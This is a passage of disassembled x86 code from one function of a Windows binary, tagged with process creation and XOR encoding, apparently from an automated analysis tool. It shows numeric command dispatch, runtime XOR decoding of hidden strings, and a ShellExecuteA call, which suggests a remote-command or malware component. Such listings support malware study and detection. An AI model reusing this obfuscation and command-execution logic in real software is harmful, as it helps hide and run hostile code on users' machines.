Function at 0x409210
Capabilities:
Create process on windows
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x460472
mov eax, dword fs:[0]
push eax
push ecx
push ebx
sub esp, 0x1e0
mov eax, dword [0x4780bc]
xor eax, ebp
mov dword [ebp - 0x24], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x1ec], ecx
push 0
push 0x462c8f
mov ecx, 0x478788
mov dword [ebp - 4], 0
mov byte [0x478784], 0
call fcn.004038d0
push 0x1024
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
push 0x1024
mov edi, eax
push 0
push edi
call sub.VCRUNTIME140.dll_memset
sub esp, 8
mov dword [ebp - 0x1d0], 0x1008d92
mov esi, esp
mov dword [ebp - 0x1e0], esp
push 6
push str.remove
push esi
mov dword [esi], 0
mov dword [esi + 0x10], 6
mov dword [esi + 0x14], 0xf
call sub.VCRUNTIME140.dll_memmove
mov byte [esi + 6], 0
sub esp, 0xc
mov byte [ebp - 4], 1
mov edx, esp
mov dword [ebp - 0x2c], esp
mov dword [ebp - 0x1e4], edx
cmp byte [ebp - 0x1cd], 0
je 0x409308
xor ecx, ecx
nop dword [eax + eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x1d0], al
inc ecx
cmp ecx, 2
jb 0x4092f0
mov byte [ebp - 0x1cd], 0
lea eax, [ebp - 0x1c9]
mov ecx, edx
push eax
lea eax, [ebp - 0x1ce]
push eax
lea eax, [ebp - 0x1d0]
push eax
call fcn.004063e0
mov esi, dword [0x478858]
sub esp, 0x18
mov edx, esp
mov byte [ebp - 4], 2
mov ecx, esi
mov dword [edx], 0
lea eax, [ecx + 1]
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov dword [ebp - 0x1e4], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x409352
sub ecx, dword [ebp - 0x1e4]
push ecx
push esi
mov ecx, edx
call fcn.004025b0
mov ecx, dword [ebp - 0x1ec]
lea eax, [ebp - 0xa8]
push eax
mov byte [ebp - 4], 0
call fcn.0040c790
mov ecx, eax
cmp dword [ecx + 0x14], 0x10
jb 0x409388
mov ecx, dword [ecx]
mov edx, edi
sub edx, ecx
nop dword [eax]
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x409390
mov ecx, dword [ebp - 0x94]
cmp ecx, 0x10
jb 0x4093d9
mov edx, dword [ebp - 0xa8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4093cf
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4093cf
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0045e420
add esp, 8
push dword [0x478858]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
sub esp, 0x14
mov ecx, edi
mov edx, esp
lea esi, [ecx + 1]
mov dword [edx], 0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x409403
sub ecx, esi
push ecx
push edi
mov ecx, edx
call fcn.004025b0
lea eax, [ebp - 0xa8]
push eax
lea ecx, [ebp - 0x1e5]
call fcn.00414720
mov ecx, eax
cmp dword [ecx + 0x14], 0x10
jb 0x409431
mov ecx, dword [ecx]
mov edx, edi
sub edx, ecx
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x409435
mov ecx, dword [ebp - 0x94]
cmp ecx, 0x10
jb 0x40947e
mov edx, dword [ebp - 0xa8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x409474
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x409474
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0045e420
add esp, 8
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x2c], esp
push 1
push 0x462ce4
push esi
mov dword [esi], 0
mov dword [esi + 0x10], 1
mov dword [esi + 0x14], 0xf
call sub.VCRUNTIME140.dll_memmove
mov byte [esi + 1], 0
sub esp, 0xc
mov byte [ebp - 4], 3
mov edx, esp
mov ecx, edi
mov dword [edx], 0
lea esi, [ecx + 1]
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4094d0
sub ecx, esi
push ecx
push edi
mov ecx, edx
call fcn.004025b0
lea eax, [ebp - 0x1dc]
mov byte [ebp - 4], 0
push eax
call fcn.0040da20
add esp, 0x34
push edi
mov byte [ebp - 4], 4
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov esi, dword [ebp - 0x1dc]
add esp, 4
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
cmp dword [esi + 0x14], 0x10
mov edi, eax
jb 0x409519
mov esi, dword [esi]
push 0xa
lea eax, [ebp - 0x1e4]
mov dword [edi], 0
push eax
push esi
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtol]
add esp, 0xc
cmp esi, dword [ebp - 0x1e4]
je 0x40aab0
cmp dword [edi], 0x22
je 0x40aaba
cmp eax, 0x22b
jg 0x4095b1
je case.0x4095d9.730
cmp eax, 0xa3
jg 0x40959c
je 0x40956b
cmp eax, 0x67
je 0x40956b
cmp eax, 0x71
jne case.0x4095d9.637
mov eax, dword [ebp - 0x1dc]
add eax, 0x18
cmp dword [eax + 0x14], 0x10
jb 0x40957c
mov eax, dword [eax]
push eax
call fcn.00411d50
add esp, 4
mov byte [0x478785], 1
lea ecx, [ebp - 0x1dc]
call fcn.0040ac00
jmp 0x40aa92
sub eax, 0x193
je 0x40956b
sub eax, 1
je 0x40956b
mov byte [0x478784], 0
jmp 0x40956b
cmp eax, 0x387
jg 0x40a8a4
je case.0x4095d9.701
add eax, 0xfffffd84
cmp eax, 0x91
ja case.0x4095d9.637
movzx eax, byte [eax + 0x40aadc]
jmp dword [eax*4 + 0x40aac4]
mov eax, dword [0x47885c]
inc eax
mov dword [0x47885c], eax
cmp eax, 1
jne 0x409761
push 4
call fcn.0045e3f0
add esp, 4
mov dword [ebp - 0x2c], eax
mov byte [ebp - 4], 5
test eax, eax
je 0x409614
mov ecx, eax
call fcn.00411aa0
mov esi, eax
jmp 0x409616
xor esi, esi
sub esp, 0x18
mov byte [ebp - 4], 4
mov ecx, esp
mov dword [ebp - 0x2c], esp
lea eax, [ebp - 0x1c9]
mov dword [ebp - 0x1e0], ecx
mov word [ebp - 0x1d0], 0x3a
push eax
lea eax, [ebp - 0x1cf]
mov byte [ebp - 0x1ce], 0
push eax
lea eax, [ebp - 0x1d0]
push eax
call fcn.004063e0
mov eax, dword [ebp - 0x1dc]
sub esp, 0x18
mov edi, esp
mov byte [ebp - 4], 6
sub esp, 0x18
add eax, 0x18
mov ecx, esp
push eax
call fcn.00402850
push edi
call fcn.00412a20
add esp, 0x1c
mov byte [ebp - 4], 4
lea eax, [ebp - 0x64]
push eax
call fcn.0040da20
add esp, 0x34
mov eax, dword [ebp - 0x64]
mov byte [ebp - 4], 7
cmp eax, 0x47880c
je 0x4096b0
cmp dword [eax + 0x14], 0x10
mov ecx, dword [eax + 0x10]
jb 0x4096a1
mov eax, dword [eax]
push ecx
push eax
mov ecx, 0x47880c
call fcn.004038d0
mov eax, dword [ebp - 0x64]
lea ecx, [eax + 0x18]
cmp ecx, 0x4787f4
je 0x4096d5
cmp dword [ecx + 0x14], 0x10
mov eax, dword [ecx + 0x10]
jb 0x4096c6
mov ecx, dword [ecx]
push eax
push ecx
mov ecx, 0x4787f4
call fcn.004038d0
mov eax, dword [ebp - 0x64]
sub esp, 0x18
add eax, 0x18
mov ecx, esp
push eax
call fcn.00402850
lea eax, [ebp - 0xa8]
mov ecx, esi
push eax
call fcn.00411b50
mov esi, eax
cmp esi, 0x4787dc
je 0x40972d
mov ecx, 0x4787dc
call fcn.004017f0
movups xmm0, xmmword [esi]
movups xmmword [0x4787dc], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [0x4787ec], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
lea ecx, [ebp - 0xa8]
call fcn.004017f0
lea ecx, [ebp - 0x64]
mov dword [0x47887c], 0xf1
mov byte [0x478784], 1
call fcn.0040ac00
lea ecx, [ebp - 0x1dc]
call fcn.0040ac00
jmp 0x40aa92
cmp eax, 2
jne 0x409dd5
mov eax, dword [ebp - 0x1dc]
sub esp, 0x18
add eax, 0x18
mov ecx, esp
push eax
call fcn.00402850
lea eax, [ebp - 0xa8]
push eax
call fcn.00412a20
add esp, 0x1c
mov edx, eax
cmp dword [edx + 0x14], 0x10
mov byte [ebp - 4], 8
jb 0x40979b
mov edx, dword [edx]
mov ecx, edx
mov dword [ebp - 0xf0], 0
mov dword [ebp - 0xe0], 0
mov dword [ebp - 0xdc], 0
lea esi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4097c0
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0xf0]
call fcn.004025b0
lea ecx, [ebp - 0xa8]
mov byte [ebp - 4], 0xa
call fcn.004017f0
mov eax, dword [ebp - 0x1dc]
sub esp, 0x18
add eax, 0x30
mov ecx, esp
push eax
call fcn.00402850
lea eax, [ebp - 0xc0]
push eax
call fcn.00412a20
add esp, 0x1c
mov edx, eax
cmp dword [edx + 0x14], 0x10
mov byte [ebp - 4], 0xb
jb 0x409816
mov edx, dword [edx]
mov ecx, edx
mov dword [ebp - 0xd8], 0
mov dword [ebp - 0xc8], 0
mov dword [ebp - 0xc4], 0
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x409840
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0xd8]
call fcn.004025b0
lea ecx, [ebp - 0xc0]
mov byte [ebp - 4], 0xd
call fcn.004017f0
mov eax, dword [ebp - 0x1dc]
sub esp, 0x18
add eax, 0x48
mov ecx, esp
push eax
call fcn.00402850
lea eax, [ebp - 0xa8]
push eax
call fcn.00412a20
add esp, 0x1c
mov edx, eax
cmp dword [edx + 0x14], 0x10
mov byte [ebp - 4], 0xe
jb 0x409896
mov edx, dword [edx]
mov ecx, edx
mov dword [ebp - 0xc0], 0
mov dword [ebp - 0xb0], 0
mov dword [ebp - 0xac], 0
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4098c0
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0xc0]
call fcn.004025b0
lea ecx, [ebp - 0xa8]
mov byte [ebp - 4], 0x10
call fcn.004017f0
mov eax, dword [ebp - 0x1dc]
sub esp, 0x18
add eax, 0x60
mov ecx, esp
push eax
call fcn.00402850
lea eax, [ebp - 0x108]
push eax
call fcn.00412a20
add esp, 0x1c
mov edx, eax
cmp dword [edx + 0x14], 0x10
mov byte [ebp - 4], 0x11
jb 0x409916
mov edx, dword [edx]
mov ecx, edx
mov dword [ebp - 0x198], 0
mov dword [ebp - 0x188], 0
mov dword [ebp - 0x184], 0
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x409940
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x198]
call fcn.004025b0
lea ecx, [ebp - 0x108]
mov byte [ebp - 4], 0x13
call fcn.004017f0
mov eax, dword [ebp - 0x1dc]
sub esp, 0x18
add eax, 0x78
mov ecx, esp
push eax
call fcn.00402850
lea eax, [ebp - 0x1b0]
push eax
call fcn.00412a20
add esp, 0x1c
mov edx, eax
cmp dword [edx + 0x14], 0x10
mov byte [ebp - 4], 0x14
jb 0x409996
mov edx, dword [edx]
mov ecx, edx
mov dword [ebp - 0x108], 0
mov dword [ebp - 0xf8], 0
mov dword [ebp - 0xf4], 0
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4099c0
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x108]
call fcn.004025b0
lea ecx, [ebp - 0x1b0]
mov byte [ebp - 4], 0x16
call fcn.004017f0
mov ecx, dword [ebp - 0x1ec]
add ecx, 0x60
cmp dword [ecx + 0x14], 0x10
mov edx, dword [ecx + 0x10]
jb 0x4099f9
mov ecx, dword [ecx]
mov esi, dword [ebp - 0xdc]
lea eax, [ebp - 0xf0]
mov edi, dword [ebp - 0xf0]
cmp esi, 0x10
push edx
push ecx
push dword [ebp - 0xe0]
cmovae eax, edi
push eax
call fcn.00406830
add esp, 0x10
test al, al
jne 0x409b66
mov eax, dword [ebp - 0x1ec]
add eax, 0x18
mov dword [ebp - 0x2c], 0xd7c9d581
push 0x462ce8
push eax
lea eax, [ebp - 0x48]
mov word [ebp - 0x28], 0x100
push eax
call fcn.00406510
add esp, 0xc
mov ecx, eax
push dword [ebp - 0xe0]
cmp esi, 0x10
mov byte [ebp - 4], 0x17
lea eax, [ebp - 0xf0]
cmovae eax, edi
push eax
call fcn.0040acf0
push eax
lea ecx, [ebp - 0x90]
call fcn.00402810
lea eax, [ebp - 0x70]
mov byte [ebp - 4], 0x18
push eax
lea ecx, [ebp - 0x2c]
call fcn.004077d0
mov ecx, eax
cmp dword [ebp - 0x7c], 0x10
lea eax, [ebp - 0x90]
push dword [ebp - 0x80]
cmovae eax, dword [ebp - 0x90]
push eax
push 0
mov byte [ebp - 4], 0x19
call fcn.0040c310
push eax
lea ecx, [ebp - 0xa8]
call fcn.00402810
lea ecx, [ebp - 0x70]
call fcn.004017f0
lea ecx, [ebp - 0x90]
call fcn.004017f0
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 0x16
call fcn.004017f0
cmp dword [ebp - 0x94], 0x10
lea eax, [ebp - 0xa8]
push 1
cmovae eax, dword [ebp - 0xa8]
push 0
push 0
push eax
mov dword [ebp - 0x70], 0xf83d0b62
lea eax, [ebp - 0x70]
mov dword [ebp - 0x6c], 0x1a1f1ff9
mov dword [ebp - 0x68], 0x32e7592a
mov dword [ebp - 0x64], 0x86b093d0
movaps xmm1, xmmword [ebp - 0x70]
push eax
mov dword [ebp - 0x90], 0x96587b0d
mov dword [ebp - 0x8c], 0x1a1f1ff9
mov dword [ebp - 0x88], 0x32e7592a
mov dword [ebp - 0x84], 0x86b093d0
pxor xmm1, xmmword [ebp - 0x90]
push 0
movaps xmmword [ebp - 0x70], xmm1
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea ecx, [ebp - 0xa8]
mov byte [0x478785], 1
call fcn.004017f0
cmp dword [ebp - 0xc4], 0x10
lea ecx, [ebp - 0xd8]
mov edi, dword [ebp - 0xd8]
mov esi, dword [ebp - 0xc8]
cmovae ecx, edi
cmp esi, 1
jne 0x409c6e
mov edx, 0x462c54
sub esi, 4
jb 0x409ba6
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x409bab
add ecx, 4
add edx, 4
sub esi, 4
jae 0x409b95
cmp esi, 0xfffffffc
je 0x409bdf
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x409bd8
cmp esi, 0xfffffffd
je 0x409bdf
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x409bd8
cmp esi, 0xfffffffe
je 0x409bdf
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x409bd8
cmp esi, 0xffffffff
je 0x409bdf
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x409bdf
sbb eax, eax
or eax, 1
jmp 0x409be1
xor eax, eax
test eax, eax
jne 0x409c6e
movaps xmm0, xmmword [0x462d80]
xor ecx, ecx
movups xmmword [ebp - 0x148], xmm0
mov dword [ebp - 0x118], 0x948484ff
movaps xmm0, xmmword [0x462da0]
movups xmmword [ebp - 0x138], xmm0
mov dword [ebp - 0x114], 0x968a8886
movaps xmm0, xmmword [0x462dd0]
movups xmmword [ebp - 0x128], xmm0
mov dword [ebp - 0x110], 0xc89a82
mov byte [ebp - 0x10c], 1
nop word [eax + eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x148], al
inc ecx
cmp ecx, 0x3b
jb 0x409c40
lea eax, [ebp - 0x148]
mov byte [ebp - 0x10c], 0
push eax
call fcn.00411d50
add esp, 4
mov byte [0x478785], 1
lea eax, [ebp - 0x48]
mov dword [ebp - 0x2c], 0xd7c4c2db
push eax
lea ecx, [ebp - 0x2c]
mov word [ebp - 0x28], 0x100
call fcn.004077d0
mov esi, eax
cmp esi, 0x4788d8
je 0x409cc3
mov ecx, 0x4788d8
call fcn.004017f0
movups xmm0, xmmword [esi]
movups xmmword [0x4788d8], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [0x4788e8], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
lea ecx, [ebp - 0x48]
call fcn.004017f0
mov ecx, dword [ebp - 0xf4]
mov dword [0x478878], 0xd0035f3
mov byte [0x478784], 1
cmp ecx, 0x10
jb 0x409d16
mov edx, dword [ebp - 0x108]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x409d0c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x409daa
push ecx
push edx
call fcn.0045e420
add esp, 8
mov ecx, dword [ebp - 0x184]
cmp ecx, 0x10
jb 0x409d4c
mov edx, dword [ebp - 0x198]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x409d42
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x409daa
push ecx
push edx
call fcn.0045e420
add esp, 8
mov ecx, dword [ebp - 0xac]
cmp ecx, 0x10
jb 0x409d82
mov edx, dword [ebp - 0xc0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x409d78
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x409daa
push ecx
push edx
call fcn.0045e420
add esp, 8
mov eax, dword [ebp - 0xc4]
cmp eax, 0x10
jb 0x409dba
lea ecx, [eax + 1]
mov eax, edi
cmp ecx, 0x1000
jb 0x409db0
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x409db0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edi
call fcn.0045e420
add esp, 8
lea ecx, [ebp - 0xf0]
call fcn.004017f0
lea ecx, [ebp - 0x1dc]
call fcn.0040ac00
jmp 0x40aa92
cmp eax, 3
jne 0x40a1b4
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x2c], 0xd7c4c2db
mov word [ebp - 0x28], 0x100
call fcn.0040b5f0
push eax
push 0x4788d8
call fcn.004064d0
movzx ecx, byte [0x478785]
add esp, 8
test al, al
mov edx, 1
cmovne ecx, edx
cmp dword [0x478878], 0xd0035f3
push 0xa
movzx eax, cl
cmovne eax, edx
push 0
mov byte [0x478785], al
sub esp, 0x18
mov eax, dword [ebp - 0x1dc]
mov ecx, esp
add eax, 0x18
push eax
call fcn.00402850
lea eax, [ebp - 0x48]
push eax
call fcn.00412a20
add esp, 0x1c
push eax
mov byte [ebp - 4], 0x1a
call fcn.0040dc70
add esp, 0xc
mov dword [0x4786b8], eax
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 4
call fcn.004017f0
mov eax, dword [ebp - 0x1dc]
sub esp, 0x18
add eax, 0x30
mov ecx, esp
push eax
call fcn.00402850
lea eax, [ebp - 0x48]
push eax
call fcn.00412a20
add esp, 0x1c
cmp dword [eax + 0x14], 0x10
mov byte [ebp - 4], 0x1b
jb 0x409e95
mov eax, dword [eax]
push eax
mov ecx, 0x4786ec
call fcn.00407720
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 4
call fcn.004017f0
mov eax, dword [ebp - 0x1dc]
push 0xa
push 0
sub esp, 0x18
add eax, 0x48
mov ecx, esp
push eax
call fcn.00402850
lea eax, [ebp - 0x1b0]
push eax
call fcn.00412a20
add esp, 0x1c
push eax
mov byte [ebp - 4], 0x1c
call fcn.0040dc70
add esp, 0xc
push eax
lea eax, [ebp - 0x48]
push eax
call fcn.0040dce0
add esp, 8
mov ecx, 0x47871c
push eax
call fcn.004076e0
lea ecx, [ebp - 0x48]
call fcn.004017f0
lea ecx, [ebp - 0x1b0]
mov byte [ebp - 4], 4
call fcn.004017f0
mov eax, dword [ebp - 0x1dc]
sub esp, 0x18
add eax, 0x60
mov ecx, esp
push eax
call fcn.00402850
lea eax, [ebp - 0x48]
push eax
call fcn.00412a20
add esp, 0x1c
cmp dword [eax + 0x14], 0x10
mov byte [ebp - 4], 0x1d
jb 0x409f3b
mov eax, dword [eax]
push eax
mov ecx, 0x478704
call fcn.00407720
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 4
call fcn.004017f0
mov eax, dword [ebp - 0x1dc]
sub esp, 0x18
add eax, 0x78
mov ecx, esp
push eax
call fcn.00402850
lea eax, [ebp - 0x48]
push eax
call fcn.00412a20
add esp, 0x1c
cmp dword [eax + 0x14], 0x10
mov byte [ebp - 4], 0x1e
jb 0x409f7e
mov eax, dword [eax]
push eax
mov ecx, 0x4786d4
call fcn.00407720
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 4
call fcn.004017f0
mov eax, dword [ebp - 0x1dc]
sub esp, 0x18
add eax, 0x90
mov ecx, esp
push eax
call fcn.00402850
lea eax, [ebp - 0x48]
push eax
call fcn.00412a20
add esp, 0x1c
cmp dword [eax + 0x14], 0x10
mov byte [ebp - 4], 0x1f
jb 0x409fc3
mov eax, dword [eax]
push eax
mov ecx, 0x4787f4
call fcn.00407720
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 4
call fcn.004017f0
mov eax, dword [ebp - 0x1dc]
push 0xa
push 0
sub esp, 0x18
add eax, 0xa8
mov ecx, esp
push eax
call fcn.00402850
lea eax, [ebp - 0x48]
push eax
call fcn.00412a20
add esp, 0x1c
push eax
mov byte [ebp - 4], 0x20
call fcn.0040dc70
add esp, 0xc
mov dword [0x478780], eax
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 4
call fcn.004017f0
lea eax, [ebp - 0x48]
mov dword [ebp - 0x2c], 0xc6d4de81
push eax
lea ecx, [ebp - 0x2c]
mov word [ebp - 0x28], 0x100
call fcn.004077d0
push eax
mov ecx, 0x4788d8
call fcn.004076e0
lea ecx, [ebp - 0x48]
call fcn.004017f0
movaps xmm0, xmmword [0x462e20]
lea eax, [ebp - 0x48]
movups xmmword [ebp - 0x180], xmm0
lea ecx, [ebp - 0x180]
mov dword [0x478878], 0x369f
movaps xmm0, xmmword [0x462dc0]
movups xmmword [ebp - 0x170], xmm0
push eax
movaps xmm0, xmmword [0x462db0]
movups xmmword [ebp - 0x160], xmm0
mov dword [0x478880], 0x2c5aa
movaps xmm0, xmmword [0x462de0]
movups xmmword [ebp - 0x150], xmm0
mov dword [ebp - 0x110], 0x4355415b
movaps xmm0, xmmword [0x462d60]
movups xmmword [ebp - 0x140], xmm0
mov word [ebp - 0x10c], 0x100
movaps xmm0, xmmword [0x462d40]
movups xmmword [ebp - 0x130], xmm0
movaps xmm0, xmmword [0x462d50]
movups xmmword [ebp - 0x120], xmm0
call fcn.00407810
push eax
mov ecx, 0x4788f0
call fcn.004076e0
lea ecx, [ebp - 0x48]
call fcn.004017f0
lea eax, [ebp - 0x48]
mov byte [0x478784], 1
push eax
lea ecx, [ebp - 0x1d0]
mov dword [ebp - 0x1d0], 0x10085e6
call fcn.00407790
push eax
mov ecx, 0x478788
call fcn.004076e0
lea ecx, [ebp - 0x48]
call fcn.004017f0
movaps xmm0, xmmword [0x462e10]
xor ecx, ecx
movups xmmword [ebp - 0x90], xmm0
mov dword [ebp - 0x80], 0xaeb4a6cc
mov dword [ebp - 0x7c], 0x100bdaf
nop word [eax + eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x90], al
inc ecx
cmp ecx, 0x16
jb 0x40a150
lea eax, [ebp - 0x1c9]
mov byte [ebp - 0x79], 0
push eax
lea eax, [ebp - 0x7a]
push eax
lea eax, [ebp - 0x90]
push eax
lea ecx, [ebp - 0xa8]
call fcn.004063e0
lea eax, [ebp - 0xa8]
mov ecx, 0x4787a0
push eax
call fcn.004076e0
lea ecx, [ebp - 0xa8]
call fcn.004017f0
inc dword [0x47885c]
lea ecx, [ebp - 0x1dc]
call fcn.0040ac00
jmp 0x40aa92
cmp eax, 4
je 0x40958c
lea ecx, [ebp - 0x1dc]
mov byte [0x478785], 1
call fcn.0040ac00
jmp 0x40aa92
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x2c], 0xc6d4de81
mov word [ebp - 0x28], 0x100
call fcn.0040b5f0
push eax
push 0x4788d8
call fcn.004064d0
movzx ecx, byte [0x478785]
add esp, 8
test al, al
mov edx, 1
cmovne ecx, edx
cmp dword [0x478878], 0x369f
movzx eax, cl
lea ecx, [ebp - 0xa8]
cmovne eax, edx
cmp dword [0x478880], 0x2c5aa
movzx eax, al
cmovne eax, edx
push 0x4788f0
mov byte [0x478785], al
call fcn.00402850
lea eax, [ebp - 0xa8]
push 0x478908
push eax
call fcn.004064a0
add esp, 8
mov byte [ebp - 0x1c9], al
lea ecx, [ebp - 0xa8]
call fcn.004017f0
cmp byte [ebp - 0x1c9], 0
je 0x40a272
mov byte [0x478785], 1
mov eax, dword [ebp - 0x1dc]
sub esp, 0x18
add eax, 0x18
mov ecx, esp
push eax
call fcn.00402850
lea eax, [ebp - 0xc0]
push eax
call fcn.00412a20
add esp, 0x1c
mov edx, eax
cmp dword [edx + 0x14], 0x10
mov byte [ebp - 4], 0x21
jb 0x40a2a3
mov edx, dword [edx]
mov ecx, edx
mov dword [ebp - 0xd8], 0
mov dword [ebp - 0xc8], 0
mov dword [ebp - 0xc4], 0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40a2c6
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0xd8]
call fcn.004025b0
mov ecx, dword [ebp - 0xac]
mov byte [ebp - 4], 0x23
cmp ecx, 0x10
jb 0x40a31c
mov edx, dword [ebp - 0xc0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40a312
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40a312
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0045e420
add esp, 8
cmp dword [ebp - 0xc4], 0x10
lea eax, [ebp - 0xd8]
mov edi, dword [ebp - 0xd8]
push 8
push 0x462cec
push dword [ebp - 0xc8]
cmovae eax, edi
mov dword [ebp - 0xb0], 0
push eax
mov dword [ebp - 0xac], 0xf
mov byte [ebp - 0xc0], 0
call fcn.00406830
add esp, 0x10
test al, al
je 0x40a7e9
mov eax, dword [ebp - 0x1dc]
push 0xa
push 0
sub esp, 0x18
add eax, 0x30
mov ecx, esp
push eax
call fcn.00402850
lea eax, [ebp - 0x48]
push eax
call fcn.00412a20
add esp, 0x1c
push eax
mov byte [ebp - 4], 0x24
call fcn.0040dc70
add esp, 0xc
mov dword [0x4786b8], eax
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 0x23
call fcn.004017f0
mov eax, dword [ebp - 0x1dc]
sub esp, 0x18
add eax, 0x48
mov ecx, esp
push eax
call fcn.00402850
lea eax, [ebp - 0x48]
push eax
call fcn.00412a20
add esp, 0x1c
mov edx, eax
cmp dword [edx + 0x14], 0x10
mov byte [ebp - 4], 0x25
jb 0x40a3db
mov edx, dword [edx]
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40a3e0
sub ecx, esi
push ecx
push edx
mov ecx, 0x4786ec
call fcn.004038d0
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 0x23
call fcn.004017f0
mov eax, dword [ebp - 0x1dc]
push 0xa
push 0
sub esp, 0x18
add eax, 0x60
mov ecx, esp
push eax
call fcn.00402850
lea eax, [ebp - 0x1b0]
push eax
call fcn.00412a20
add esp, 0x1c
push eax
mov byte [ebp - 4], 0x26
call fcn.0040dc70
add esp, 0xc
push eax
lea eax, [ebp - 0x48]
push eax
call fcn.0040dce0
mov esi, eax
add esp, 8
cmp esi, 0x47871c
je 0x40a47e
mov ecx, 0x47871c
call fcn.004017f0
movups xmm0, xmmword [esi]
movups xmmword [0x47871c], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [0x47872c], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
lea ecx, [ebp - 0x48]
call fcn.004017f0
lea ecx, [ebp - 0x1b0]
mov byte [ebp - 4], 0x23
call fcn.004017f0
mov eax, dword [ebp - 0x1dc]
sub esp, 0x18
add eax, 0x78
mov ecx, esp
push eax
call fcn.00402850
lea eax, [ebp - 0x48]
push eax
call fcn.00412a20
add esp, 0x1c
mov edx, eax
cmp dword [edx + 0x14], 0x10
mov byte [ebp - 4], 0x27
jb 0x40a4c3
mov edx, dword [edx]
